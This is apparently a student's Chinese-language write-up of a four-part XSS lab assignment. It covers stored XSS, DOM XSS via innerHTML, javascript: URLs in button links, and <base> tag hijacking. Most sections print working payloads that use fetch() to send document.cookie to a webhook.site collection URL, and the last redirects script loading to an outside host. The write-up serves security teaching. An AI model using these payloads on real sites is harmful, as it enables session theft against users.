8/11 前端作業:XSS 四題
事前準備
- 先在 webhook.site 建立收件端 URL,等會把 cookie/文字打回來。
1) Note Sharing(Stored XSS)
步驟
以
alert(1)驗證可執行:1 2 3<script> alert(1) </script>
改成把 cookie 打到 webhook(依題目需求把
https改成http再送 Bot):1 2 3 4<script> fetch("https://webhook.site/1c619e04-5067-4673-ad17-2d015541ba43?cookie=" + encodeURIComponent(document.cookie)); </script>到 webhook 後台查看回傳內容/flag。
原理:未過濾的使用者輸入被直接渲染為 HTML,<script> 會執行(Stored XSS)。
2) Note Sharing with innerHTML(DOM XSS)
步驟
不能直接用
alert()時,改用圖片錯誤事件觸發並回傳 cookie:1<img src=x onerror=fetch('https://webhook.site/1c619e04-5067-4673-ad17-2d015541ba43?c='+(document.cookie))>送 Bot,於 webhook 收到資料。
原理:前端以 innerHTML 渲染未轉義內容,事件屬性(onerror)仍可執行。
3) Video Button(屬性/連結情境)
步驟
利用按鈕的連結/事件將輸入變成可執行的
javascript:URL,送出後 Bot 點擊即回傳 cookie:1 2javascript:fetch("https://webhook.site/1c619e04-5067-4673-ad17-2d015541ba43?cookie=" + encodeURIComponent(document.cookie));檢查 webhook 收到的內容。
原理:使用者輸入被放進按鈕的 href/onclick,以 javascript: 在Bot點擊按鈕執行。
4) Any Script(<base> 劫持相對路徑)
步驟
插入
<base>改變相對資源解析,讓頁面去載你的腳本:1<base href="https://boycework.eu.cc/script.js">

2. 當 Bot 開啟頁面,相對路徑腳本會指向你的路徑並執行,進而進行 cookie 送出。
原理:<base> 會影響相對 URL 的解析基準;若原頁以相對路徑載入 JS,將被導向你指定的位置(實際可行性視題目環境與 CSP 設定而定)。
